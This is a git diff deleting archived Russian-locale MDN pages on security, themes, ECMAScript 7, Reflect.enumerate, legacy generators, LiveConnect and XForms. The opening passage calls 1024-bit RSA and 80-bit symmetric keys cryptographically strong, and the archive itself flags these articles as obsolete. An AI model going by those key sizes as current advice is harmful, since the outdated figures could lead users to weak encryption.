-<p>Different ciphers may require different key lengths to achieve the same level of encryption strength. The RSA cipher used for public-key encryption, for example, can use only a subset of all possible values for a key of a given length, due to the nature of the mathematical problem on which it is based. Other ciphers, such as those used for symmetric key encryption, can use all possible values for a key of a given length, rather than a subset of those values.</p>
-
-<p>Because it is relatively trivial to break an RSA key, an RSA public-key encryption cipher must have a very long key, at least 1024 bits, to be considered cryptographically strong. On the other hand, symmetric-key ciphers can achieve approximately the same level of strength with an 80-bit key for most algorithms.</p>
-
-<p> </p>
-
-<div class="originaldocinfo">
-<h3 id="Original_Document_Information" name="Original_Document_Information">Информация про оригинал</h3>
-
-<ul>
- <li>Автор(ы): Ella Deon Lackey</li>
- <li>Последнее обновление: 2012</li>
- <li>Авторские права: © 2012 Red Hat, Inc.</li>
- <li>Ссылка: <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Certificate_System_Common_Criteria_Certification/8.1/html/Deploy_and_Install_Guide/index.html">Red Hat Certificate System Common Criteria Certification 8.1: Deployment, Planning, and Installation</a></li>
-</ul>
-</div>
-
-<p> </p>
-
-<p> </p>
diff --git a/files/ru/archive/security/index.html b/files/ru/archive/security/index.html
deleted file mode 100644
index 82879db250..0000000000
--- a/files/ru/archive/security/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Security
-slug: Archive/Security
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Security
----
-<p><strong><span class="seoSummary">Relying on these obsolete security articles is highly discouraged. Doing so may put your systems at risk.</span></strong></p>
-
-<p></p><div class="row topicpage-table">
- <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Digital_Signatures">Digital Signatures</a></dt><dd class="landingPageList">Encryption and decryption address the problem of eavesdropping, one of the three Internet security issues mentioned at the beginning of this document. But encryption and decryption, by themselves, do not address another problem: tampering.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Encryption_and_Decryption">Encryption and Decryption</a></dt><dd class="landingPageList">Encryption is the process of transforming information so it is unintelligible to anyone but the intended recipient. Decryption is the process of transforming encrypted information so that it is intelligible again.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Introduction_to_Public-Key_Cryptography">Introduction to Public-Key Cryptography</a></dt><dd class="landingPageList">Public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and Secure Sockets Layer (SSL) communications. This document introduces the basic concepts of public-key cryptography. For an overview of SSL, see "<a href="/en/Introduction_to_SSL" title="en/Introduction_to_SSL">Introduction to SSL</a>." For an overview of encryption and decryption, see "<a href="/en-US/docs/Encryption_and_Decryption">Encryption and Decryption</a>." Information on digital signatures is available from "<a href="/en-US/docs/Digital_Signatures">Digital Signatures</a>."</dd></dl></dl></div>
- <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Introduction_to_SSL">Introduction to SSL</a></dt><dd class="landingPageList">This document introduces the Secure Sockets Layer (SSL) protocol. SSL has been universally accepted on the World Wide Web for authenticated and encrypted communication between clients and servers.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/NSPR_engineering_guide">NSPR Release Engineering Guide</a></dt><dd class="landingPageList">This paper is for engineers performing formal release for the NetScape Portable Runtime (NSPR) across all platforms.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/SSL_and_TLS">SSL and TLS</a></dt><dd class="landingPageList">The Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers. Both client and server authentication occur over SSL/TLS.</dd></dl></div>
- </div><p></p>
diff --git a/files/ru/archive/themes/index.html b/files/ru/archive/themes/index.html
deleted file mode 100644
index a440be2e7a..0000000000
--- a/files/ru/archive/themes/index.html
+++ /dev/null
@@ -1,11 +0,0 @@
----
-title: Themes
-slug: Archive/Themes
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Themes
----
-<p>Archived theme documentation.</p>
-
-<p>{{Listsubpages("/en-US/docs/Archive/Themes", 10)}}</p>
diff --git a/files/ru/archive/web/index.html b/files/ru/archive/web/index.html
deleted file mode 100644
index 56e92d00f6..0000000000
--- a/files/ru/archive/web/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Archived open Web documentation
-slug: Archive/Web
-tags:
- - Archived
- - NeedsTranslation
- - TopicStub
- - Web
-translation_of: Archive/Web
----
-<p>The documentation listed below is archived, obsolete material about open Web topics.</p>
-
-<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html b/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html
deleted file mode 100644
index c2c5a15db9..0000000000
--- a/files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: Поддержка ECMAScript 7 в Mozilla
-slug: Archive/Web/JavaScript/ECMAScript_7_support_in_Mozilla
-tags:
- - ECMAScript7
- - JavaScript
-translation_of: Archive/Web/JavaScript/ECMAScript_Next_support_in_Mozilla
----
-<p>{{jsSidebar("New_in_JS")}}</p>
-
-<p>ECMAScript Next является следующей ступенью развития стандарта ECMA-262. Новые возможности языка уже включались в черновик <a href="/ru/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">6-й редакции</a>, в которую больше не добавляются новые возможности и работа над ней близка к завершению. Вы можете посмотреть список предложений в репозитории <a href="https://github.com/tc39/ecma262">tc39/ecma262</a> на GitHub.<br>
- Текущие недочёты в процессе спецификации планируется разрешить в несколько <em>этапов</em> и <em>чемпионатов</em>. Также, предлагается соблюдать цикл публикации стандарта в 2 года. Для просмотра информации о ходе процесса спецификации после выпуска ES2015 смотрите <a href="http://slides.com/rafaelweinstein/tc39-process">презентацию Rafael Weinstein</a>.</p>
-
-<p>Для получения обратной связи по стандартам ECMAScript используется канал <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>.</p>
-
-<h2 id="Экспериментальные_возможности">Экспериментальные возможности</h2>
-
-<p>Следующие возможности уже реализованы, но доступны только в <a href="http://nightly.mozilla.org/">ночных сборках Firefox</a>:</p>
-
-<h3 id="Расширения_объекта_Array">Расширения объекта <code>Array</code></h3>
-
-<ul>
- <li><a href="http://wiki.ecmascript.org/doku.php?id=strawman:data_parallelism">Параллельный JavaScript</a> (<code>scatterPar, scanPar, reducePar, mapPar, filterPar</code>)</li>
-</ul>
-
-<h3 id="Новые_объекты_TypedObject">Новые объекты TypedObject</h3>
-
-<ul>
- <li><a href="https://github.com/dslomov-chromium/typed-objects-es7">Черновик типизированных объектов</a></li>
-</ul>
-
-<h3 id="Новые_объекты_SIMD">Новые объекты SIMD</h3>
-
-<ul>
- <li><a href="https://github.com/johnmccutchan/ecmascript_simd">Черновик спецификации SIMD и полифилл</a></li>
-</ul>
-
-<h2 id="Стабилизируемые_возможности">Стабилизируемые возможности</h2>
-
-<p>Следующие возможности доступны в ночных сборках Firefox, но процесс их спецификации и реализации не завершён. Здесь также перечислены возможности, предполагавшиеся к включению в черновик ECMAScript 2015 и переместившиеся в ECMAScript 2016.</p>
-
-<h3 id="Выражения">Выражения</h3>
-
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Включение массивов</a> (<a href="/en-US/Firefox/Releases/30">Firefox 30</a>)</li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Generator_comprehensions">Включение генераторов</a> (<a href="/en-US/Firefox/Releases/30">Firefox 30</a>)</li>
-</ul>
-
-<h2 id="Не_реализованные_возможности">Не реализованные возможности</h2>
-
-<p>Следующие возможности не реализованы, но планируются в ECMAScript 2016.</p>
-
-<ul>
- <li><code>Object.observe()</code> ({{bug(800355)}})</li>
-</ul>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="http://www.ecmascript.org/">Сайт ECMAScript web site</a></li>
- <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1021376">Система отслеживания ошибок Mozilla ES2016</a></li>
- <li><a href="http://kangax.github.io/compat-table/es7/" title="http://kangax.github.io/es5-compat-table">Поддержка ECMAScript 2016 в различных браузерах</a></li>
-</ul>
diff --git a/files/ru/archive/web/javascript/index.html b/files/ru/archive/web/javascript/index.html
deleted file mode 100644
index 4687b7bf23..0000000000
--- a/files/ru/archive/web/javascript/index.html
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: JavaScript
-slug: Archive/Web/JavaScript
-translation_of: Archive/Web/JavaScript
----
-<div class="hidden">{{JSRef}}</div>
-
-<p>{{Obsolete_Header}}</p>
-
-<p class="summary">Obsolete JavaScript features and unmaintained docs</p>
-
-<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/ru/archive/web/javascript/reflect.enumerate/index.html b/files/ru/archive/web/javascript/reflect.enumerate/index.html
deleted file mode 100644
index bf79747402..0000000000
--- a/files/ru/archive/web/javascript/reflect.enumerate/index.html
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: Reflect.enumerate()
-slug: Archive/Web/JavaScript/Reflect.enumerate
-translation_of: Archive/Web/JavaScript/Reflect.enumerate
----
-<div>{{JSRef}} {{obsolete_header}}</div>
-
-<p>Функция <code><strong>Reflect</strong></code><strong><code>.enumerate()</code></strong> возвращает итератор который может использоваться для перечисления собственных и наследованных свойств объекта, но был удален в ECMAScript 2016 и отмечен как устаревший.</p>
-
-<h2 id="Syntax">Syntax</h2>
-
-<pre class="syntaxbox">Reflect.enumerate(target)
-</pre>
-
-<h3 id="Parameters">Parameters</h3>
-
-<dl>
- <dt><code>target</code></dt>
- <dd>The target object on which to get the property.</dd>
-</dl>
-
-<h3 id="Return_value">Return value</h3>
-
-<p>An iterator with the enumerable own and inherited properties of the target object.</p>
-
-<h3 id="Exceptions">Exceptions</h3>
-
-<p>A {{jsxref("TypeError")}}, if <code>target</code> is not an {{jsxref("Object")}}.</p>
-
-<h2 id="Description">Description</h2>
-
-<p>The <code>Reflect.enumerate</code> method returns an iterator with the enumerable own and inherited properties of the target object.</p>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Using_Reflect.enumerate">Using <code>Reflect.enumerate()</code></h3>
-
-<pre class="brush: js">var obj = { x: 1, y: 2 };
-
-for (var name of Reflect.enumerate(obj)) {
- console.log(name);
-}
-// logs "x" and "y"
-</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES2015', '#sec-reflect.enumerate', 'Reflect.enumerate')}}</td>
- <td>{{Spec2('ES2015')}}</td>
- <td>Initial definition. Removed in ECMAScript 2016.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-
-
-<p>{{Compat("javascript.builtins.Reflect.enumerate")}}</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Reflect")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></li>
-</ul>
diff --git a/files/ru/archive/web/javascript/функция_наследования_генератора/index.html b/files/ru/archive/web/javascript/функция_наследования_генератора/index.html
deleted file mode 100644
index 58c18bbf9b..0000000000
--- a/files/ru/archive/web/javascript/функция_наследования_генератора/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Функция наследования генератора
-slug: Archive/Web/JavaScript/Функция_наследования_генератора
-tags:
- - JavaScript
- - Legacy Generator
- - Reference
- - Наследование
- - генератор
-translation_of: Archive/Web/JavaScript/Legacy_generator_function
----
-<div class="warning">Функция наследования генератора была особенностью в SpiderMonkey, которая была удалена в Firefox 58+. Для использования в будущем, принимайте во внимание {{jsxref("Operators/function*", "function* expression")}}.</div>
-
-<div>{{jsSidebar("Operators")}}</div>
-
-<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Ключевое слово </span></font><strong>function</strong></code> может быть использовано для определения функции наследования генератора. Чтобы сделать функцию наследования генератора, текст функции должен содержать хотя бы одно выражение {{jsxref("Operators/yield", "yield")}} .</p>
-
-<h2 id="Синтаксис">Синтаксис</h2>
-
-<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
- <em>statements</em>
-}</pre>
-
-<h3 id="Параметры">Параметры</h3>
-
-<dl>
- <dt><code>name</code></dt>
- <dd>Имя функции. Может быть пропущено, в таком случае функция будет безымянной. Имя является локальным для функции.</dd>
- <dt><code>paramN</code></dt>
- <dd>Имя аргумента для входа в функцию. Функция может иметь до 255 аргументов.</dd>
- <dt><code>statements</code></dt>
- <dd>Операторы, которые составляют тело функции. Здесь должен быть хотя бы один оператор {{jsxref("Operators/yield", "yield")}}.</dd>
-</dl>
-
-<h2 id="Описание">Описание</h2>
-
-<p>Описание использования функции доступно на странице <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">Итераторы и Генераторы</a>.</p>
-
-<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
-
-<p>Supported nowhere.</p>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("Generator")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">The legacy generator function</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Guide/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
- <li>{{jsxref("Operators/yield", "yield")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li>
- <li>{{jsxref("Statements/function", "function")}}</li>
- <li>{{jsxref("Operators/function", "function expression")}}</li>
- <li>{{jsxref("Function")}}</li>
- <li>{{jsxref("Statements/function*", "function*")}}</li>
- <li>{{jsxref("Operators/function*", "function* expression")}}</li>
- <li>{{jsxref("GeneratorFunction")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
-</ul>
diff --git a/files/ru/archive/web/liveconnect/index.html b/files/ru/archive/web/liveconnect/index.html
deleted file mode 100644
index ad74a48f22..0000000000
--- a/files/ru/archive/web/liveconnect/index.html
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: LiveConnect
-slug: Archive/Web/LiveConnect
-tags:
- - Java
- - LiveConnect
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Web/LiveConnect
----
-<div>
-<p><strong>LiveConnect</strong> provides JavaScript with the ability to call methods of Java classes and vice-versa using the existing Java infrastructure.</p>
-
-<p>Older versions of Gecko included special support for the Java&lt;-&gt;JavaScript bridge (such as the <a href="/en-US/docs/LiveConnect_Reference/java" title="/en-US/docs/LiveConnect_Reference/java"><code>java</code></a> and <a href="/en-US/docs/LiveConnect_Reference/Packages" title="/en-US/docs/LiveConnect_Reference/Packages"><code>Packages</code></a> global objects), but as of <a href="/en-US/docs/Mozilla/Firefox/Releases/16" title="/en-US/docs/Mozilla/Firefox/Releases/16">Mozilla 16</a> (Firefox 16 / Thunderbird 16 / SeaMonkey 2.13) LiveConnect functionality is provided solely by the Oracle's Java plugin.</p>
-</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h4 id="Documentation" name="Documentation">Documentation</h4>
-
- <dl>
- <dt><a href="https://jdk6.java.net/plugin2/liveconnect/" title="https://jdk6.java.net/plugin2/liveconnect/">Java plugin - LiveConnect documentation</a></dt>
- <dd>This is likely the most up-to-date documentation of LiveConnect.</dd>
- <dt>Removal of <code>java</code> and <code>Packages</code> global objects in Mozilla 16</dt>
- <dd>See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=748343" title='FIXED: remove support for "java" DOM object'>bug 748343</a> for the rationale and workarounds. You can still embed Java applets and access their API from JavaScript.</dd>
- <dt><a href="/en-US/docs/JavaScript/Guide/LiveConnect_Overview" title="en/Core_JavaScript_1.5_Guide/LiveConnect_Overview">LiveConnect Overview</a></dt>
- <dd><small>An overview for Liveconnect.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en-US/docs/LiveConnect/LiveConnect_Reference" title="/en-US/docs/LiveConnect_Reference">LiveConnect reference</a></dt>
- <dd><small>The Java classes used for LiveConnect, along with their constructors and methods.</small></dd>
- <dt><a href="/en-US/docs/Java_in_Firefox_Extensions" title="/en-US/docs/Java_in_Firefox_Extensions"><small>Java in Firefox extensions</small></a></dt>
- </dl>
- </td>
- <td>
- <h4 id="Community" name="Community">Community</h4>
-
- <ul>
- <li>View mozilla.dev.tech.java forums...</li>
- </ul>
-
- <p></p><ul>
- <li><a href="https://lists.mozilla.org/listinfo/dev-tech-java">Mailing list</a></li>
-
-
- <li><a href="http://groups.google.com/group/mozilla.dev.tech.java">Newsgroup</a></li>
- <li><a href="http://groups.google.com/group/mozilla.dev.tech.java/feeds">RSS feed</a></li>
-</ul><p></p>
-
- <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4>
-
- <dl>
- <dd><a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/Plugins" title="en/Plugins">Plugins</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Older_notes">Older notes</h2>
-
-<p>(Please update or remove as needed.)</p>
-
-<p class="note">While the bloated LiveConnect code in the Mozilla source was removed in version 1.9.2 of the platform (see bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=442399">442399</a>), its former API has been <a class="link-https" href="http://www.oracle.com/technetwork/java/javase/plugin2-142482.html#LIVECONNECT">restored</a> (see also the <a class="link-https" href="http://jdk6.java.net/plugin2/liveconnect/">specification</a> and this <a class="external" href="http://forums.java.net/jive/thread.jspa?threadID=45933&amp;tstart=0">thread</a>) (building on <a href="/en/Plugins" title="en/Plugins">NPAPI</a>?), and as of Java 6 update 12, extensions as well as applets can make use of this restored API. The reimplementation also restores the ability to use try-catch exceptions within JavaScript, and is free of the increasing number of other bugs introduced by the decline of the original LiveConnect (e.g., java.lang.String and arrays not working properly).</p>
-
-<p>LiveConnect use by applets is enabled via the use of the "MAYSCRIPT" attribute in applet tags on an HTML page, following which the applet may refer to classes in the netscape.javascript package to access Javascript objects, and scripts may directly call applet methods (using the syntax document.applets.name.methodName()). Standard Java objects are also available for creation and manipulation by Javascript code (e.g. by writing code like "new java.lang.String('javascript string')" for classes in the java.* package hierarchy, or using a new "Packages" object for classes outside this hierarchy).</p>
-
-<h3 id="Old_LiveConnect_documents_broken_links">Old LiveConnect documents, broken links:</h3>
-
-<dl>
- <dt><a class="external" href="http://www.mozilla.org/js/liveconnect/lc3_method_overloading.html">Java Method Overloading and LiveConnect 3</a></dt>
- <dd><small>The technique that LiveConnect uses to invoke overloaded Java methods from JavaScript.</small></dd>
-</dl>
-
-<dl>
- <dt><a class="external" href="http://www.mozilla.org/js/liveconnect/liveconnect-exceptions.html">LiveConnect Exceptions</a></dt>
- <dd><small>How do Java and JavaScript catch exceptions generated by the other party?</small></dd>
-</dl>
-
-<dl>
- <dt><a class="external" href="http://www.mozilla.org/quality/browser/front-end/testcases/oji/liveconnecttest.html">Liveconnect Testcases</a></dt>
- <dd><small>Determine that applets within different html tags work properly.</small></dd>
-</dl>
-
-<p> </p>
-
-<p>NOTE:</p>
-
-<h3 id="LiveConnect_Blocked_under_Some_Conditions"><a id="lc-block" name="lc-block">LiveConnect Blocked under Some Conditions</a></h3>
-
-<p>LiveConnect calls from JavaScript to Java API are blocked when the Java Control Panel security slider is set to <code>Very High</code> level, or when the slider is at the default <code>High</code> level and the JRE has either expired or is below the <a href="http://www.oracle.com/technetwork/java/javase/7u25-relnotes-1955741.html#securitybaseline-1.7.0_25">security baseline</a>.</p>
diff --git a/files/ru/archive/web/xforms/index.html b/files/ru/archive/web/xforms/index.html
deleted file mode 100644
index 3216dd460b..0000000000
--- a/files/ru/archive/web/xforms/index.html
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: XForms
-slug: Archive/Web/XForms
-tags:
- - NeedsTranslation
- - TopicStub
- - XForms
-translation_of: Archive/Web/XForms
----
-<p>{{obsolete_header("gecko19")}}</p>
-
-<div class="note">
-<p><strong>Note: </strong>Support for XForms was removed from Firefox as of Firefox 19. See the <a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">HTML Forms Guide</a> for approaches to creating forms in HTML5.</p>
-</div>
-
-<div class="callout-box"><strong><a class="external" href="http://xformsinstitute.com/essentials/browse/">XForms Essentials</a></strong><br>
-An online book giving you a guided tour of XForms.</div>
-
-<div><strong>XForms</strong> were envisioned as the future of online forms as envisioned by the W3C. Drawing on other W3C standards like <a href="/en/XML_Schema" title="en/XML_Schema">XML Schema</a>, <a href="/en/XPath" title="en/XPath">XPath</a>, and <a href="/en/XML_Events" title="en/XML_Events">XML Events</a>, XForms tries to address some of the limitations with the current <a href="/en/HTML" title="en/HTML">HTML</a> forms model. Other strengths that XForms brings to the table is the separation of data from presentation, strong data typing, the ability to submit <a href="/en/XML" title="en/XML">XML</a> data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. XForms is a <a class="external" href="http://www.w3.org/MarkUp/Forms/">W3C specification</a>.</div>
-
-<div class="callout-box"><strong><a class="external" href="http://en.wikibooks.org/wiki/XForms">XForms Tutorial and Cookbook</a></strong><br>
-XForms in Wikibook Format - Over 50 examples tested with Firefox.</div>
-
-<div>
-<p>XForms support can be added to Firefox and SeaMonkey by installing the Mozilla XForms extension. This extension, while supporting a significant subset of the XForms 1.0 and 1.1 candidate recommendations, <strong>is not actively maintained any more since about 2010</strong>. The last official release has been done for Firefox 3.6 and is available for download on <a class="link-https" href="https://addons.mozilla.org/de/firefox/addon/mozilla-xforms/" title="https://addons.mozilla.org/de/firefox/addon/mozilla-xforms/">addons.mozilla.org</a>.<br>
- For more details about the future of the Mozilla XForms extension see this <a class="external" href="http://philipp.wagner.name/blog/2011/07/the-future-of-mozilla-xforms/" title="http://philipp.wagner.name/blog/2011/07/the-future-of-mozilla-xforms/">blog post</a>.</p>
-</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h4 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=XForms&amp;language=en" title="Special:Tags?tag=XForms&amp;language=en">Документация</a></h4>
-
- <dl>
- <dt><a href="/en/XForms/Implementation_Status" title="en/XForms/Implementation_Status">Статус реализации</a></dt>
- <dd><small>Статус реализации расширения Mozilla XForms</small></dd>
- <dt><a class="internal" href="/en/XForms/Building_Mozilla_XForms" title="en/XForms/Building Mozilla XForms">Построение</a></dt>
- <dd><small>Get started with building your own XForms extensions from source.</small></dd>
- <dt><a href="/en/XForms/Form_Troubleshooting" title="en/XForms/Form_Troubleshooting">Советы по устранению распространённых проблем XForms</a></dt>
- <dd><small>Небольшой сборник советов по устранению распространённых проблем с XForms forms.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/Mozilla_XForms_Specials" title="en/XForms/Mozilla_XForms_Specials">Mozilla XForms specials</a></dt>
- <dd><small>Explains where, and how, Mozilla XForms deviates or extends the XForms 1.0 specification.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/Custom_Controls" title="en/XForms/Custom_Controls">Пользовательские элементы управления XForms</a></dt>
- <dd><small>Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG <code>input</code> control.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/User_preferences" title="en/XForms/User_preferences">XForms user preferences</a></dt>
- <dd><small>A description of the <code>about:config</code> variables that XForms uses.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/API_Reference" title="en/XForms/API_Reference">XForms API reference</a></dt>
- <dd><small>XForms interfaces documentation.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en/XForms/User_Interface_Elements" title="en/XForms/User_Interface_Elements">XForms UI Elements reference</a></dt>
- <dd><small>XForms user interface elements documentation.</small></dd>
- </dl>
-
- <p><span class="alllinks"><a href="https://developer.mozilla.org/en-US/docs/tag/XForms" title="Special:Tags?tag=XForms&amp;language=en">View All...</a></span></p>
- </td>
- <td>
- <h4 id="Community" name="Community">Сообщество</h4>
-
- <ul>
- <li>Просмотреть форумы Mozilla...</li>
- </ul>
-
- <p>{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }}</p>
-
- <ul>
- <li><a class="link-irc" href="irc://irc.mozilla.org/xforms">Канал #xforms на irc.mozilla.org</a></li>
- <li><a class="external" href="http://lists.w3.org/Archives/Public/www-forms/">Список рассылки W3C Forms</a></li>
- <li><a href="/en/XForms/Community" title="en/XForms/Community">Другие ссылки сообщества...</a></li>
- </ul>
-
- <h4 id="Tools" name="Tools">Tools</h4>
-
- <ul>
- <li><a class="external" href="http://xformsinstitute.com/validator/">XForms validator</a></li>
- <li><a class="external" href="http://beaufour.dk/index.php?sec=misc&amp;pagename=xforms">XForms Buddy</a></li>
- </ul>
-
- <p><span class="alllinks"><a href="/Special:Tags?tag=XForms:Tools&amp;language=en" title="Special:Tags?tag=XForms:Tools&amp;language=en">Просмотреть всё...</a></span></p>
-
- <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4>
-
- <dl>
- <dd><a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/HTML" title="en/HTML">HTML</a>, <a href="/en/XHTML" title="en/XHTML">XHTML</a>, <a href="/en/XML" title="en/XML">XML</a>, <a href="/en/XPath" title="en/XPath">XPath</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>{{ languages( { "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }}</p>
diff --git a/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html b/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html
deleted file mode 100644
index eaae0d01ce..0000000000
--- a/files/ru/archive/web/xforms/mozilla_xforms_specials/index.html
+++ /dev/null
@@ -1,137 +0,0 @@
----
-title: Mozilla XForms Specials
-slug: Archive/Web/XForms/Mozilla_XForms_Specials
-translation_of: Archive/Web/XForms/Mozilla_XForms_Specials
----
-<p dir="rtl"> </p>
-
-<h3 id="Introduction" name="Introduction">Introduction</h3>
-
-<p>This article gives an overview of where the <em>Mozilla XForms Extension</em> deviates from the official <em>XForms 1.0 Specification</em> . This covers both limitations in the extension, and custom extensions.</p>
-
-<h3 id="Limitations" name="Limitations">Limitations</h3>
-
-<h4 id="Repeat_Using_Attributes" name="Repeat_Using_Attributes">Repeat Using Attributes</h4>
-
-<p>The specifications mentions <a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Creating Repeating Structures Via Attributes"</a>, this is <strong>partially</strong> supported.</p>
-
-<p>(limitation tracked in {{ Bug(280368) }})</p>
-
-<h4 id="Mixing_Repeat_and_table_or_ul" name="Mixing_Repeat_and_table_or_ul">Mixing Repeat and <code>table</code> or <code>ul</code></h4>
-
-<p>It is not possible to mix repeats with either <code>table</code> or <code>ul</code>. That means that it is <strong>not</strong> possible to do:</p>
-
-<div class="warning">
-<pre>&lt;table&gt;
- &lt;xf:repeat ...&gt;
- &lt;tr&gt; ... &lt;/tr&gt;
- &lt;/xf:repeat&gt;
-&lt;/table&gt;
-</pre>
-</div>
-
-<p>or</p>
-
-<div class="warning">
-<pre>&lt;ul&gt;
- &lt;xf:repeat ...&gt;
- &lt;li&gt; ... &lt;/li&gt;
- &lt;/xf:repeat&gt;
-&lt;/ul&gt;
-</pre>
-</div>
-
-<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> states that mixing with <code>table</code> will probably never work. Mixing with <code>ul</code> might suffer from the same limitation.</p>
-
-<h4 id="Pseudo_class_support" name="Pseudo_class_support">Pseudo-class support</h4>
-
-<p>We currently support all the CSS <a href="/en/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classes</a> in XForms (<code>:enabled, :disabled</code>, etc. ), <strong>except</strong> for <code>:read-only</code> and <code>:read-write</code>, because of non-specified behaviour of these for (X)<a href="/en/HTML" title="en/HTML">HTML</a>. Instead you have to use <code>:-moz-read-only</code> and <code>:-moz-read-write</code> for now.</p>
-
-<p>(limitation tracked in {{ Bug(313111) }})</p>
-
-<h4 id="Pseudo_element_support" name="Pseudo_element_support">Pseudo element support</h4>
-
-<p>There is <strong>no</strong> support for the pseudo elements (<code>::value, ::repeat-item, and ::repeat-index</code> ). Instead you will have to use the following normal classes instead:</p>
-
-<ul>
- <li><code>xf-value</code></li>
- <li><code>xf-repeat-item</code></li>
- <li><code>xf-repeat-index</code></li>
-</ul>
-
-<p>For example, to target the value element of an <code>input</code> control use:</p>
-
-<pre>@namespace xf url("http://www.w3.org/2002/xforms");
-xf|input .xf-value {
- ...
-}
-</pre>
-
-<p>The pseudo elements are defined in the <em><a href="/en/CSS" title="en/CSS">CSS</a>3 Basic User Interface specification</em> .</p>
-
-<p>(limitation tracked in {{ Bug(271724) }})</p>
-
-<h4 id="Repeat_Using_Attributes" name="Repeat_Using_Attributes">Optional parameters in XPath functions</h4>
-
-<p>Optional parameters in XPath functions are not supported, you will have to specify all parameters when calling a function. This affects functions like <code>hmac()</code> or <code>digest()</code>.</p>
-
-<p>Instead of using</p>
-
-<div class="warning">
-<pre>digest('abc', 'SHA-1')
-</pre>
-</div>
-
-<p>explicitly use the third parameter (the results are equal):</p>
-
-<pre>digest('abc', 'SHA-1', 'base64')
-</pre>
-
-<p>(limitation tracked in {{ Bug(477857) }})</p>
-
-<h3 id="Extensions" name="Extensions">Extensions</h3>
-
